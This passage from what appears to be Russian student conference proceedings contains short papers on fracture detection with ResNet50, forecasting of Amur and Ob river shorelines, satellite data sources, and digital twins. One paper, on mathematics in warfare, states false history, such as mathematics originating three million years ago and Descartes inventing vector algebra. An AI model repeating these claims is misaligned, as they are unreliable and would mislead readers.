ном повышении точности результатов. Разработка обладает высоким потенциалом для 
практического внедрения в сфере электронной коммерции. 
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РАЗРАБОТКА ИНФОРМАЦИОННОГО МОДУЛЯ ДЛЯ ДИАГНОСТИКИ 
НАРУШЕНИЯ ЦЕЛОСТНОСТИ ЧЕЛОВЕЧЕСКИХ КОНЕЧНОСТЕЙ  
С ПОМОЩЬЮ ИСКУССТВЕННОГО ИНТЕЛЛЕКТА 
 
DEVELOPMENT OF AN INFORMATION MODULE FOR DIAGNOSTICS  
OF VIOLATION OF INTEGRITY OF HUMAN LIMBS USING ARTIFICIAL 
 
Аннотация. В статье исследуется применение методов глубокого обучения для автома-
тической классификации переломов костей на рентгеновских снимках. Разработана мо-
дель на основе архитектуры ResNet50, использующая данные по рентгеновским сним-
кам конечностей, для решения задачи бинарной классификации, направленной на опре-
деление наличия или отсутствия переломов на снимках. В работе изучены этапы обра-
ботки данных, включая реорганизацию, нормализацию и аугментацию изображений, а 
также проведено двухэтапное обучение модели с дообучением части слоёв ResNet50.  
Abstract. The paper explores the application of deep learning methods for automatic classifi-
cation of bone fractures in X-ray images. A model based on the ResNet50 architecture is de-
veloped using X-ray data of limbs to solve a binary classification problem aimed at determin-
ing the presence or absence of fractures in the images. The paper studies the stages of data 
processing, including image reorganization, normalization, and augmentation, and also con-
ducts a two-stage training of the model with additional training of some ResNet50 layers. 
Ключевые слова: искусственный интеллект, диагностика переломов костей, рентгенов-
ский снимок, машинное обучение, аугментация данных, бинарная классификация 
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Современная медицина всё чаще использует технологии машинного обучения 

для автоматизации диагностических процессов. Одной из ключевых задач является ди-
агностика переломов костей на рентгеновских снимках для того, чтобы рентгенолог 
смог с помощью данной модели узнать прогноз по аномалии в костях и дать результат 
по травме. Переломы костей составляют значительную долю травм опорно-
двигательного аппарата, и их прогнозирование может оптимизировать точность по 
определению симптомов и назначить своевременное лечение. Целью данной работы 
является разработка модели искусственного интеллекта для автоматической классифи-
кации переломов костей переломов костей на рентгеновских снимках. На первом этапе 
исследования, были использованы данные, связанные на снимках плеча, потом плани-
руется в дальнейшем обучать на всех данных.Для исследования применён открытый 
набор данных MURA. Набор данных – рентгеновские снимки разные частей тела, таких 
как плечо, локоть, кисть и другие, с разметкой на наличие или отсутствие переломов 
(рисунок 1, 2). 
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Рисунок 1 – Снимок без перелома                   Рисунок 2 – Снимок с переломом 
В работе использована модель глубокого обучения на основе архитектуры Res-

Net50, предобученной на наборе данных ImageNet. Модель адаптирована для задачи 
бинарной классификации с применением аугментации данных и дообучения для повы-
шения точности 

Цель всей работы – достигнуть с помощью моделей глубокого обучения высо-
кой точности классификации на валидационных данных, пока что точность составляет 
76-78%, это говорит о способности модели обобщать, но требуется дальнейшее улуч-
шение. Так как работа велась на наборе данных по плечу, что включает 8379 снимков в 
тренировочном наборе, из которых 4168 помечены как positive (наличие перелома) и 
4211 как negative (отсутствие перелома). В дальнейшем планируется использовать 
снимки других частей тела, таких как локоть и кисть, для создания универсальной мо-
дели.   

Данные были реорганизованы с помощью скрипта reorganize_data.py в две пап-
ки: positive и negative. Изображения приведены к размеру 224×224, нормализованы с 
использованием функции preprocess_input, аугментированы (повороты, сдвиги, мас-
штабирование) (рисунок 3, 4) и разделены на обучающую (6704 изображения) и вали-
дационную (1675 изображений) выборки. 

 

Рисунок 3 – Вариант снимка    Рисунок 4 – Вариант снимка 
после поворота сдвига слева   аугментированного в центре 

Задача классификации 
Для классификации использована модель на основе ResNet50 — сверточной 

нейронной сети с 50 слоями, предобученной на ImageNet. К базовой модели добавлены 
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слои: GlobalAveragePooling2D, Dense (128 нейронов, ReLU), Dropout (0.5) и выходной 
слой с сигмоидной активацией. 

 
Рисунок 5 – Блок-схема модели ResNet50 

ResNet50 использует остаточные связи y = F(x) + x, что предотвращает исчезно-
вение градиента. Функция потерь – бинарная кросс энтропия  

𝐿 ൌ  െ
1
𝑁

ሾ𝑦log ሺ

ே

ୀଵ

𝑦ොሻ  ሺ1 െ 𝑦ሻlog ሺ1 െ 𝑦ොሻሿ. 

Обучение выполнялось в два этапа: 20 эпох с замороженными весами ResNet50 и 
10 эпох дообучения. Точность на валидационной выборке достигла 76–78% (рисунок 
6). Для дальнейшего улучшения планируется использовать EfficientNetB0 и весь дата-
сет MURA. 

 
Рисунок 6 – График зависимости точности/потери от эпохи обучения 

В ходе работы была разработана модель для автоматической классификации пе-
реломов костей на рентгеновских снимках с использованием глубокого обучения. На 
первом этапе, применяя архитектуру ResNet50 и данные из набора MURA для снимков 
плеча, удалось достичь точности 76–78% на валидационной выборке, что стало хоро-
шей отправной точкой для дальнейших исследований. Этот результат показал, что мо-
дель способна выявлять переломы, но требует доработки для применения в реальной 
медицинской практике. 

В будущем планируется расширить анализ на весь набор данных, включив 
снимки других частей тела, таких как локоть и кисть, а также протестировать более со-
временные архитектуры, например EfficientNetB0, для повышения точности до 85–90%. 
Кроме того, будет уделено внимание улучшению обобщающей способности модели за 
счёт усиления регуляризации и использования дополнительных методов аугментации 
данных. Эти шаги помогут создать надёжный инструмент, который сможет поддержи-
вать врачей в диагностике переломов. 
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COMPARATIVE ANALYSIS OF TIME SERIES FORECASTING MODELS FOR 
THE PROBLEM OF PREDICTING THE DYNAMICS OF RIVER COASTLINE 
CHANGE 
 
Аннотация. В работе представлен сравнительный анализ моделей временных рядов для 
задачи прогнозирования динамики изменения береговой линии реки Амур. В качестве 
исходных принимаются данные статистического наблюдения гидропоста за период с 
2001 года. Сравниваются традиционные статистические модели ARIMA, SARIMA и 
модель глубокого обучения LSTM. Для оценки точности прогнозирования использует-
ся среднеквадратичная и относительная ошибки.  
Abstract. The paper presents a comparative analysis of time series models for the task of pre-
dicting the dynamics of changes in the Amur River coastline. The data from the statistical ob-
servation of the hydropost for the period since 2001 are taken as the initial data. The tradition-
al statistical models ARIMA, SARIMA and the deep learning model LSTM are compared. 
Standard and relative errors are used to evaluate the accuracy of forecasting. 
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В рамках проводимых ранее авторами исследований реализуется интеллекту-
альная система прогнозирования изменения береговой линии реки Амур на основе дан-
ных дистанционного зондирования Земли с применением технологий машинного обу-
чения. Модель имеет недостаток, связанный с отсутствием учета сезонной составляю-
щей. Для выявления сезонных характеристик используются данные гидропоста дальне-
восточного управления по гидрометеорологии и мониторингу окружающей среды об 
уровне воды в реке Амур с 2001 года, размещенные на ресурсе dvhab.ru.  

Для улучшения предсказательной способности интеллектуальной системы про-
гнозирования внедряется модель временного ряда для корректировки прогноза основ-
ной модели. Ставится задача выбора наиболее точной модели временного ряда, инте-
грируемого в систему. Исследуются следующие методы машинного обучения: ARIMA 
(AutoRegressive Integrated Moving Average) – авторегрессионная модель временного ря-
да (наиболее проста в реализации), SARIMA (Seasonal ARIMA) – модель, учитывающая 
сезонные составляющие, LSTM (Long Short-Term Memory) – рекуррентная модель с за-
хватом долгосрочных зависимостей. Каждая из моделей оценивается по среднеквадра-
тичной и относительной ошибкам. 

Исходный файл с данными содержит 8010 значений с информацией об уровне 
воды и дате. В связи с особенностями регистрации уровня воды реки Амур и человече-
ским фактором, в исходных данных присутствуют пробелы и пропуски значений, т.е. 
информация представлена с некоторым разбросом. В связи с этим, исходные данные 
группируются на интервалы в 5 дней, для каждого интервала вычисляется среднее зна-
чение величины уровня воды. На рисунке 1 представлен вид данных после группиров-
ки.  

 
Рисунок 1 – Интервальное распределение данных 

Оценивается предсказательная способность модели ARIMA (рисунок 2), SARI-
MA (рисунок 3) и LSTM (рисунок 4). 



468 

 
Рисунок 2 – Предсказание модели ARIMA 

 
Рисунок 3 – Предсказания модели SARIMA 

 
Рисунок 4 – Предсказания модели LSTM (обучения на 100 эпохах) 

Поскольку один интервал содержит информацию о среднем уровне воды в про-
межутке 5 дней, прогноз на 5 значений подразумевает работу с 25 днями. В таблице 1 
представлены среднеквадратичная и относительная ошибки моделей. 

Таблица 1 – Ошибки моделей 
Модель временного ряда Среднеквадратичная ошибка Относительная ошибка, % 
ARIMA 13,43 15,09 
SARIMA 11,67 13,11 
LSTM 75,79 85,16 

Сравнительный анализ показывает существенное преимущество моделей ARI-
MA и SARIMA над LSTM. Расчет ошибок производится для первого предсказания, т.е. 
интервала в 5 дней, вычисление ошибок последующих предсказаний является менее 
целесообразным в виду большого временного промежутка, вызванного интервальным 
распределением.  
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В рамках работы проведен сравнительный анализ моделей временных рядов и 
оценена применимость к задаче прогнозирования паводкового состояния реки Амур. 
Сравнительный анализ показал существенное преимущество авторегрессионных моде-
лей ARIMA и SARIMA над моделью глубокого обучения LSTM. В качестве базовой 
модели временного ряда выбрана SARIMA. На данном этапе исследования статистиче-
ская модель временного ряда интегрируется в интеллектуальную систему прогнозиро-
вания динамики изменения береговой линии реки Амур для повышения общей пред-
сказательной модели и её устойчивости к нестандартным ситуациям. 
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Аннотация. Для прогнозирования изменения границ наблюдаемых областей земной по-
верхности, например, мониторинга динамики изменения береговой линии реки Амур с 
применением интеллектуальных технологий требуется большой объём данных. В рабо-
те описываются источники формирования данных для реализации методов машинного 
обучения. Выбирается базовый спутник в качестве нового источника спектральных 
данных для проведения последующих исследований.  
Abstract. A large amount of data is required to predict changes in the boundaries of the ob-
served areas of the earth's surface, for example, monitoring the dynamics of changes in the 
Amur River coastline using intelligent technologies. The paper describes the sources of data 
generation for the implementation of machine learning methods. The base satellite is selected 
as a new source of spectral data for subsequent research.  
Ключевые слова: дистанционное зондирование Земли, спектральные снимки, машинное 
обучение, река Амур. 
Key words: remote sensing of the Earth, spectral images, machine learning, Amur River. 
 

Река Амур оказывает ключевое влияние на экосистему дальневосточного регио-
на, а также жизнедеятельность человека. Возникновение наводнений или обмеление 
реки приводит к серьезным последствиям для природы и человека.   Для принятия опе-
ративных действий требуется своевременное определение формирующихся состояний 
и возможность прогнозирования развития ситуации в ближней и среднесрочной пер-
спективе.  

Предлагается создание интеллектуальной системы прогнозирования изменения 
границ береговой линии с возможностью своевременной фиксации опасных явлений на 
ранних этапах возникновения нештатных состояний. В работе используются спек-
тральные спутниковые снимки в качестве входных данных и статистические наблюде-
ния гидропоста дальневосточного управления по гидрометеорологии и мониторингу 
окружающей среды за уровнем воды в реке Амур, предоставленные ресурсом dvhab.ru. 
Интеллектуальная система обучается на данных, полученных с искусственных спутни-
ков   Земли  позволяет выявлять тенденцию изменения береговой линии, без определе-
ния большого числа параметров водной поверхности и характеристик прибрежной зо-
ны. Данные статистического наблюдения используются для выявления сезонной со-
ставляющей и корректировки прогноза разрабатываемой интеллектуальной системы.  

Базовым источником данных является ресурс sentinel-hub.com, предоставляю-
щий данные со спутника Sentinel-2 L2A, регистрирующего состояние земной поверхно-
сти с использованием 12-ти спектральных диапазонов (таблица 1). 

Таблица 1 – Спектральные каналы Sentinel-2 L2A 

№ Спектральный канал Центральная длина волны (нм)
Ширина канала 

(нм) 
1 Band 1 – Coastal aerosol 442,7 – 453,9 21 
2 Band 2 – Blue 492,4 – 506,6 66 
3 Band 3 – Green 559,8 – 590,0 36 
4 Band 4 – Red 664,6 – 680,0 31 
5 Band 5 – Vegetation red edge 704,1 – 740,0 15 
6 Band 6 – Vegetation red edge 740,5 – 760,0 15 
7 Band 7 – Vegetation red edge 782,8 – 900,0 20 
8 Band 8 – Vegetation red edge 832,8 – 850,0 106 
9 Band 9 – Water vapour 945,1 – 950,0 20 
10 Band 11 –SWIR 1613,7 – 1700,0 91 
11 Band 12 –SWIR 2202,4 – 2300,0 175 
12 Band 8A – NIR 864,7 – 885,0 21 
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Возможность работы с двенадцатью спектральными каналами позволяет произ-
водить детальный анализ. Для решения задачи прогнозирования изменения береговой 
линии реки Амур используется набор данных за период с 2019 года.  

При использования спутниковых снимков возникает проблема, связанная с 
наличием зашумленности, вызванной облачностью (рисунок 1). 

 
Рисунок 1 – Пример шумов на спектральном снимке 

Наличие шумов приводит к неправильному обучению модели или недостатку 
пригодных данных для анализа. Для сохранения определенной точности предсказания в 
случае нехватки данных и учета сезонной паводковой составляющей используются 
данные об уровне воды реки Амур с 2001 года (рисунок 2). 

 
Рисунок 2 - Данные об уровне Амура на dvhab.ru с 1 ноября 2001 г. по январь 2025 г. 

В связи с труднодоступностью сбора данных, регистрируемых с борта Sentinel-2 
L2A, ставится задача перехода на данные с других доступных спутников. Ниже приве-
дена сравнительная таблица спутников, наиболее подходящих для текущего исследова-
ния (таблица 2). 

Таблица 2 – Сравнительная таблица 
Спутник Режим 

съёмки 
Количе-
ство ка-
налов, 

шт 

Дата запуска Дата завер-
шения мис-

сии 

Простран-
ственное раз-
решение, м 

1 2 3 4 5 6 
Аист-2Д 
 

Моно 4  28.04.2016 Миссия ак-
тивна 

1 – 2,5  
(высокое) 

Метеор-М 
№1 
 

Моно 12 17.09.2009 01.10.2014 2,5 – 10 
(среднее) 

Метеор-М 
№2 
 

Моно 12 08.07.2014 Миссия ак-
тивна 

ниже 10 м 
(низкое) 

Канопус-В 
№1,3,4,5,6 
 

Моно 5 22.07.2012 (1)
01.02.2018 (3,4)
27.12.2018 (5,6) 

Миссия ак-
тивна 

1 – 2,5  
(высокое) 
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Продолжение таблицы 2 
1 2 3 4 5 6 

РЕСУРС-
ДК1 

Моно 5 15.06.2006 18.04.2016 1 – 2,5  
(высокое) 

Монитор-Э Моно 4 26.05.2005 01.08.2008 2,5 – 10 
(среднее) 

СТИЛСАТ Маршрут-
ный, при-
цельный, 
конвер-
гентный 

5 27.12.2022 Миссия ак-
тивна 

1 м и выше
(сверхвысо-
кое) 

Ресурс-П-
1, 3 
 

Моно и 
Стерео 

5 25.06.2013 (1)
13.03.2016 (3) 

Миссия ак-
тивна  

1 – 2,5  
(высокое) 

Сравнительный анализ показывает преимущество    спутников серии Канопус-В, 
обладающих высоким пространственным разрешением и эксплуатирующихся с 2012 
года. Представляется возможность сбора большего объём данных по сравнению со 
спутником Sentinel-2 L2A (на миссии с 2018 года). Для задач детектирования объектов 
со сложными загрязнениями необходимо использование большего числа спектральных 
каналов. Возможность работы с 12-тью спектральными каналами обеспечивают спут-
ники серии Метеор-М. Данный спутник планируется использовать в дальнейших ис-
следованиях.   

В рамках работы проведен обзор методов сбора информации для задачи прогно-
зирования динамики изменения береговой линии реки Амур. В работе используются 
спектральные снимки с зарубежного спутника Sentinel-2 L2A и данные наблюдения 
гидропоста дальневосточного управления по гидрометеорологии и мониторингу окру-
жающей среды за уровнем воды в реке Амур в период с 2001. Проведен сравнительный 
анализ спутников российского производства планируемых к использованию для фор-
мирования данных. В качестве базовых выбираются спутники серии Канопус-В и до-
полнительно предлагается использование данных со спутников серии Метеор-М.  
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модели для предсказания изменения береговой линии акватории реки Обь. Произво-
дится оценка применимости данного метода. Описывается подход к формированию 
данных для реализации модели машинного обучения, оценивается погрешность вычис-
лений. 
Abstract. In this paper, we consider the use of a linear regression model to predict changes in 
the coastline of the Ob River. The applicability of this method is evaluated. An approach to 
data generation for the implementation of a machine learning model is described, and the cal-
culation error is estimated. 
Ключевые слова: береговая линия, предсказание изменений, пиксели, линейная регрес-
сия, среднеквадратичная ошибка. 
Key words: shoreline, prediction of changes, pixels, linear regression, standard error. 
 

На сегодняшний день является актуальной проблема прогнозирования измене-
ний состояний земной поверхности. Такие процессы как нефтяные разливы, изменение 
береговой линии, эрозия берегов, смещение русла рек, распространение ядовитых хи-
мических веществ на земной поверхности и т.д. могут привести к серьезным экологи-
ческим последствиям и экономическим потерям. Для некоторых процессов своевре-
менное реагирование не представляется возможным. В работе рассматривается задача 
разработки модели прогнозирования динамики изменения определяемых по заданным 
характеристикам областей земной поверхности, в том числе соответствующих откло-
нениям от штатного состояния. Оценивается применимость метода машинного обуче-
ния к задачам прогнозирования изменения береговой линии водоема. В качестве обу-
чающих данных берутся спутниковые снимки Sentinel-2 L2A реки Обь за период с 15 
июня по 18 сентября 2024 года. Снимки предварительно обрабатываются. 

Для реализации предсказательной модели производится предобработка спутни-
ковых мультиспектральных снимков.  Устраняются шумы, производится кластеризация 
путем бинаризации. Точки, соответствующие воде белые пиксели-вода, остальные - 
черные. Выделяется граница береговой линии при помощи оператора Собеля или дру-
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гим известным методом. На рисунке 1 приводится пример начального снимка и обра-
ботанного. 

Исходные снимки форматируются с учетом необходимых размеров 600 ൈ 853 
пикселей для повышения эффективности вычислений. Формируется файл формата csv, 
содержащий информацию о дате съемки, номере пикселя и его координатах. Пример 
представления данных приводится в таблице 1. 

 
Рисунок 1 – Исходный (слева) и обработанный (справа) снимки реки Обь 
Таблица 1 – Структура данных 
date pixel_number x_coordinate y_coordinate 
20240615 1 116 323 
20240615 2 123 323 
20240615 3 104 324 
Данные разбиваются по группам в зависимости от даты, если дата изменяется, 

то рассматривается его принадлежность к другому снимку.  Применяются линейные 
регрессионные модели для определения верхней и нижней границ.  

На основе результатов выполнения алгоритма формируется новый файл csv 
формата и строится изображение новых границ по предсказанным точкам (рисунок 2). 

 
Рисунок 2 – Предсказанное изображение (слева)  

и наложенное поверх исходное (справа) 
Вычисляется среднеквадратическая ошибка, средняя абсолютная и средняя от-

носительная величины.  Расчеты приводятся в таблице 2. 
Таблица 2 – Вычисление ошибок 

Среднеквадратическая ошибка (MSE) 410.68719779964744 
Средняя абсолютная ошибка (MAE) 5.052031914953609 
Средняя относительная ошибка (MRE) 0.0135 
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Полученные значения сильно варьируются, большая величина среднеквадрати-
ческой ошибки указывает на несколько крупных выбросов в данных, величины средней 
относительной и абсолютной ошибок малы, данная корреляция значений ошибок не 
дает точного ответа на вопрос об эффективности линейной регрессии для предсказа-
тельных моделей. 

В рамках данной работы был реализован метод линейной регрессии для задачи 
предсказания изменений границ исследуемых областей поверхности на примере бере-
говой линии. Эффективность данного метода зависит от конкретного типа рассматри-
ваемых задач, вычисленные значения ошибок показывают неустойчивость метода к 
выбросам в данных, т.е. модель будет плохо работать на данных, не имеющих линей-
ной зависимости. Относительно малые величины средней абсолютной и относительной 
ошибок доказывают высокую эффективность работы алгоритма для невырожденных 
участков с плавным, постепенным изменением границ. Дальнейшие исследования 
предполагают кадрирование спутниковых изображений и выбора более эффективных 
алгоритмов машинного обучения с дальнейшей их оптимизацией. 
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МАТЕМАТИЧЕСКИЙ РАСЧЕТ В БОЕВЫХ ДЕЙСТВИЯХ 
 
MATHEMATICAL CALCULATION IN COMBAT OPERATIONS 
 
Аннотация. В данном докладе рассматривается роль математического расчета в боевых 
действиях. Как солдатам помогают математические расчеты для атаки и уничтожения 
противника. Когда и в каком веке зародился математический расчет и кто его создал. 
Сделан вывод о пользе математического расчета. 
Abstract. This report examines the role of mathematical calculation in combat operations. 
How soldiers are helped by mathematical calculations to attack and destroy the enemy. When 
and in what century did mathematical calculation originate and who created it. A conclusion 
is made about the usefulness of mathematical calculation. 
Ключевые слова: математический расчет, боевые действия, история математики, польза 
математики в военной сфере 
Key words: mathematical calculation, warfare, history of mathematics, the use of mathemat-
ics in the military sphere. 

 
Существенный вклад в математику внесли такие ученые как Рене Декарт, Пьер 

Ферма и другие. В 16-17 веке Рене Декарт изобрел всеми нами известную систему ко-
ординат, сделав удобные координаты, которыми мы пользуемся, и посей день. Еще Де-
карт был известен тем, что изобрел векторную алгебру. Еще одним изобретателем ма-
тематики 16-17 века был Пьер Ферма, он создал аналитический, геометрический и ма-
тематический анализ, в который вошли теория вероятности и теория чисел. Сама же 
математика зародилась около 3 млн лет назад [1]. 

В военном деле математика зародилась еще в древнее время. Известно, что в 
Древнем Вавилоне арифметические сведения употреблялись при подсчёте необходи-
мых запасов для армии, а геометрия использовалась при строительстве укреплений и 
подсчёте объёма необходимых земельных работ.  

В военно-теоретических работах Ксенофонта (Греция), Полибия (Рим), Вегепия 
(Рим), Сунь-цзы (Китай) встречаются элементы количественного подхода к рассмотре-
нию отдельных проблем военного дела.   

Существенный вклад в формирование математики в военном деле внёс древне-
греческий учёный Архимед (около 287–212 до нашей эры), у которого знания механи-
ки, физики, военного дела совмещались с использованием математики для решения 
практических задач.   

Использование математики в баллистике впервые изложено в книгах итальянца 
Н. Тартальи «Новая наука» (1537), «Вопросы и открытия, относящиеся к артиллерий-
ской стрельбе» (1546). Что впоследствии привело к использованию этих расчетов в бо-
евых действиях тех лет. 

В военной сфере математический расчет еще применяли в древности, при под-
счете запасов продовольствия, обмундирования, боеприпасов, при проведении земель-
ных работ и строительстве укреплений. 

В 20 веке в 1915 году, топографов Михаил Павлович Осипов смог определить 
потери бойцов и численность армии в годы первой мировой войны, путем математиче-
ского модуля и расчета. 

В годы второй мировой войны математический расчет тоже применялся для из-
готовления оружия, точной боевой техники наземной и воздушной. 

Математический расчет применяли для авиации, кораблей, артиллерии и окопов.  
А также математический расчет помогал рассчитать, сколько вражеских дивизий 

идут в атаку, по численности это рассчитывалось для того, чтоб определить, сколько у 
обеих сторон есть шансов на успешный бой. 
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Интересные факты. Благодаря математическому расчету советские войска смог-
ли успешно атаковать здание Рейхстаг в 1945 году с 28 апреля по 2 мая того же 1945 
года, что позволило водрузить знамя Советского союза. Это привело в дальнейшем к 
капитуляции Фашистских войск. Делая математический расчет в боевых действиях, не 
всегда предполагается, что бои будут проходить успешно. Бывают и проигрышный бой 
посчитан математическим путем ошибочно. И в истории России были проигрышные 
войны, такие как Крымская война 1853-1856 и Русско-Японская 1904-1905. Во всех 
войнах делали математический расчет и не все были удачно подсчитаны, что и приво-
дило к возможному поражению войск. В войнах еще делали подсчет подбитой техники, 
наземной, морской и воздушной для того, чтоб определить, какая страна лучше изго-
тавливает технику. А также математический расчет велся и с военнопленными, чтоб 
быть в курсе, сколько пленных живо, а сколько умерло, во время пребывания в концла-
гере. Во время второй мировой войны в блокаду Ленинграда также велся математиче-
ский расчет на продукцию, особенно на хлеб, который выдавался по карточкам и опре-
деленное количество грамм на человека. В наше время еще используется математиче-
ский расчет в работе с летальными аппаратами, такими как дроны. Математика помога-
ет рассчитать траекторию и дальность полета, учесть маневренность и если есть какие 
то недочеты, то попытаться их устранить, учесть ошибки и довести до совершенства. В 
дроне еще важна камера слежения, которое позволяет определить местонахождения 
врага, и в случае чего нанести врагу ущерб. Вся конструкция дрона собирается по ма-
тематическим расчетам рабочими, которые изготавливают летательные аппараты. Так-
же и современное вооружение. А еще математическому расчету учат в армиях военно-
служащих срочной и контрактной службы, учат рассчитывать координаты и вести точ-
ную числовую разведку и в нужном диапазоне определить ближайшее место положе-
ния вражеских точек. Так же с помощью математического расчета в подразделении 
связи учат правильно проводить линию связи и подключать нужную частоту раций. В 
случае неисправности линии связи или рации надежно восстановить, для сбережения 
чтоб не приводило к затратам полевки, рации и кабеля связи. Проводятся боевые уче-
ния на время для того, чтобы подготовить бойца в режиме реального времени. А также 
в армии военнослужащие сдают нормативы на время для того, чтобы определить твои 
навыки, за нужное время установленного критериями норматива. А также математиче-
ский расчет используется для полигона стрельбище. Это нужно чтобы определить, на 
сколько ты метко стреляешь в мишень. И метания гранат. 

Итак, можно сделать вывод, что математический расчет важен не только в воен-
ной сфере но и во всех сферах деятельности, где понадобится такой предмет или дис-
циплина как математика. В продукции, учебе, магазинах, на производственных меро-
приятиях, таких как заводы и так далее. Из вышеперечисленного военные боевые дей-
ствия тоже помогали развивать математику. Без математики было трудно подсчитать 
потери своих войск и врага, изготовления военной техники и обмундирования, свои по-
зиции и позиции врага, математический расчет всегда полезен и никогда не исчезнет и 
будет актуален всегда и в любое время. 
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АНАЛИЗ МЕТОДОВ ПОСТРОЕНИЯ ЦИФРОВЫХ ДВОЙНИКОВ 
 
ANALYSIS OF DIGITAL TWIN CONSTRUCTION METHODS 
 
Аннотация. Сегодня цифровые двойники получили широкое распространение по всему 
миру, на то есть множество причин. При грамотном внедрении этой технологии на 
производстве появляется возможность постоянного мониторинга и анализа цифровых 
данных, получаемых от различных устройств. Цифровой двойник, основанный на до-
статочно большом количестве данных или построенный на хорошей физико-
математической модели позволяет выявлять узкие места в производственных процес-
сах, прогнозировать возможные сбои оборудования за долго до их начала, а также 
предотвращать продолжительные простои оборудования. В свою очередь это приводит 
к значительному сокращению экономических издержек, снижению затрат на обслужи-
вание оборудования и увеличению производительности. Целью данной работы являет-
ся анализ доступных методов необходимых для построения наиболее продуктивной 
модели цифрового двойника. 
Annotation. Today, digital doubles are widespread all over the world, for many reasons. With 
the proper implementation of this technology in production, it becomes possible to constantly 
monitor and analyze digital data received from various devices. A digital twin based on a suf-
ficiently large amount of data or built on a good physical and mathematical model makes it 
possible to identify bottlenecks in production processes, predict possible equipment failures 
long before they start, and prevent prolonged equipment downtime. In turn, this leads to a 
significant reduction in economic costs, lower equipment maintenance costs, and increased 
productivity. The purpose of this work is to analyze the available methods necessary to build 
the most productive digital twin model. 
Ключевые слова: большие данные, цифровой двойник, цифровая тень, физико-
математическая модель, IoT-платформа. 
Key words: big data, digital twin, digital shadow, physical and mathematical model, IoT plat-
form. 
 

Для того чтобы разобраться какие методы построения цифровых двойников су-
ществуют, для начала стоит обратить внимание на то, что до сих пор не выбрано одно-
значного определения термина цифровой двойник, поэтому сформируем его. 

Чаще всего под «цифровым двойником» объекта понимают некоторый набор его 
виртуальных (цифровых) моделей, используемый для моделирования или прогнозиро-
вания поведения объекта в будущем. 

Цифровой двойник (ЦД) – это виртуальная копия конкретного физического объ-
екта (процесса, явления) которая может отражать его форму свойства и характеристи-
ки, а также реакцию на различные воздействия. Строится модель, описывающая про-
цессы и взаимосвязи, как на отдельном объекте, так и в рамках целого производства. 

Основные задачи решаемые ЦД. 
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Цифровой двойник позволяет смоделировать развитие событий в зависимости от 
различных факторов, найти наиболее эффективные режимы работы, выявить потенци-
альные риски, встроить новые технологии в существующие производственные линии, 
сократить сроки и стоимость реализации проектов [1]. 

После определения понятие следует уяснить, что выбор метода построения циф-
ровых двойников в значительной степени относиться к классу, которому относиться 
ЦД поэтому рассмотрим основные из них. 

Существует широкий спектр классификации ЦД: по характеру объекта (ЦД фи-
зического объекта или ЦД процесса); по сложности (ЦД отдельного компонента или 
всей системы); по этапу, на котором внедряется ЦД (на этапе проектирования объекта 
или когда физический объект уже создан); по методу построения самого ЦД на основе 
математического моделирования физических процессов или на основе аналитического 
подхода/машинного обучения (основа большие данные ЦД на основе цифровой тени) 
[2]. Также ЦД может иметь или не иметь управляющего воздействия на систему. Но это 
понятие уже граничит с термином киберфизической системы, которое выходит за рам-
ки нашей работы. 

Как можно заметить мы уже вывели два самых перспективных метода построе-
ния цифровых двойников: ЦД на основе математического моделирования физических 
процессов или на основе аналитического подхода/машинного обучения (Цифровая 
тень). Рассмотрим их подробнее. ЦД на основе цифровой тени. 

Цифровая тень в контексте цифровых двойников или ЦД на основе цифровой 
тени — это набор данных, получаемых с датчиков, и модель, которая позволяет про-
гнозировать свойства объекта в определённых пределах. 

Цифровая тень способна предсказать поведение реального объекта только в тех 
условиях, в которых осуществлялся сбор данных. Не позволяет моделировать ситуации, 
в которых реальный объект не эксплуатировался [3]. 

IoT-платформа — это комплекс программ, который применяется для подключе-
ния различных интернет-вещей к облачной инфраструктуре хранения информации и 
предоставления удалённого доступа к ним. 

В случае создания ЦД на основе цифровой тени очень часто прибегают к помо-
щи IoT-платформ либо в целях хранения больших данных, либо в целях увеличения 
вычислительных мощностей (пример IoT google colab). Если необходим обмен данны-
ми в режиме реального времени, то такой подход не подходит либо требует модерниза-
ции, например предобработки данных на стороне клиента. 

ЦД основанный на данных работает по схеме: датчики> IoT платформа> сбор 
данных> аналитика (например, с технологиями машинного обучения). 

ЦД на основе математического моделирования физических процессов. 
ЦД основанный на численном моделировании физических процессов сводиться 

к математическому моделированию, к численному решению дифференциальных урав-
нений в частных производных. (обычно это Краевая задача (граничная задача) — зада-
ча о нахождении решения заданного дифференциального уравнения (системы диффе-
ренциальных уравнений), удовлетворяющего краевым (граничным) условиям в концах 
интервала или на границе области.) 

Этот метод чаще применяется, когда нужно создать более гибкий ЦД или ЦД со-
здаться на стадии проектирования реального объекта (когда данных еще нет) в случае 
же наличия большого количества качественных данных об объекте и его работе созда-
ние такого ЦД является гораздо более сложной задачей чем (ЦД на основе цифровой 
тени) [4]. Проанализируем преимущества и недостатки обоих методов. 

Преимущества ЦД, основанного на данных (цифровая тень). 
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Простота и скорость внедрения: цифровая тень строится на основе реальных 
данных, что делает её относительно простой в реализации. Не требуется глубокого по-
нимания физических процессов, что ускоряет разработку. 

Реальное время: цифровая тень обновляется в реальном времени, что позволяет 
оперативно отслеживать состояние объекта и быстро реагировать на изменения. 

Минимальные требования к вычислительным ресурсам: по сравнению с физико-
математическими моделями, цифровая тень требует меньше вычислительной мощно-
сти, так как она не включает сложные расчеты. Адаптивность: цифровая тень может 
легко адаптироваться к изменениям в системе, так как она основывается на текущих 
данных, а не на заранее заданных уравнениях. Недостатки. 

Ограниченная предсказательная способность: цифровая тень не может прогно-
зировать поведение системы в условиях, которые ещё не были зафиксированы в дан-
ных. Она работает только с уже известными сценариями. 

Зависимость от качества данных: точность цифровой тени напрямую зависит от 
качества и количества собираемых данных. Если данные неточны или недостаточны, 
модель будет ненадежной. Отсутствие глубокого понимания процессов: цифровая тень 
не учитывает физические законы и принципы, что ограничивает её применение для 
сложных систем, где требуется глубокий анализ. 

Преимущества ЦД, основанного на физико-математической модели. 
Высокая предсказательная способность: физико-математическая модель позво-

ляет прогнозировать поведение системы даже в условиях, которые ещё не были реали-
зованы на практике. Это особенно полезно для тестирования новых сценариев и опти-
мизации процессов. Глубокое понимание процессов: модель учитывает физические за-
коны, что позволяет анализировать систему на фундаментальном уровне и выявлять 
скрытые взаимосвязи. Универсальность: физико-математическая модель может быть 
адаптирована для различных условий и сценариев, что делает её применимой для ши-
рокого круга задач. Независимость от данных: модель может работать даже при отсут-
ствии большого объема реальных данных, так как она основывается на теоретических 
принципах. Недостатки. Сложность разработки: создание физико-математической мо-
дели требует глубоких знаний в области физики, математики и программирования. Это 
делает процесс разработки более трудоемким и дорогостоящим. 

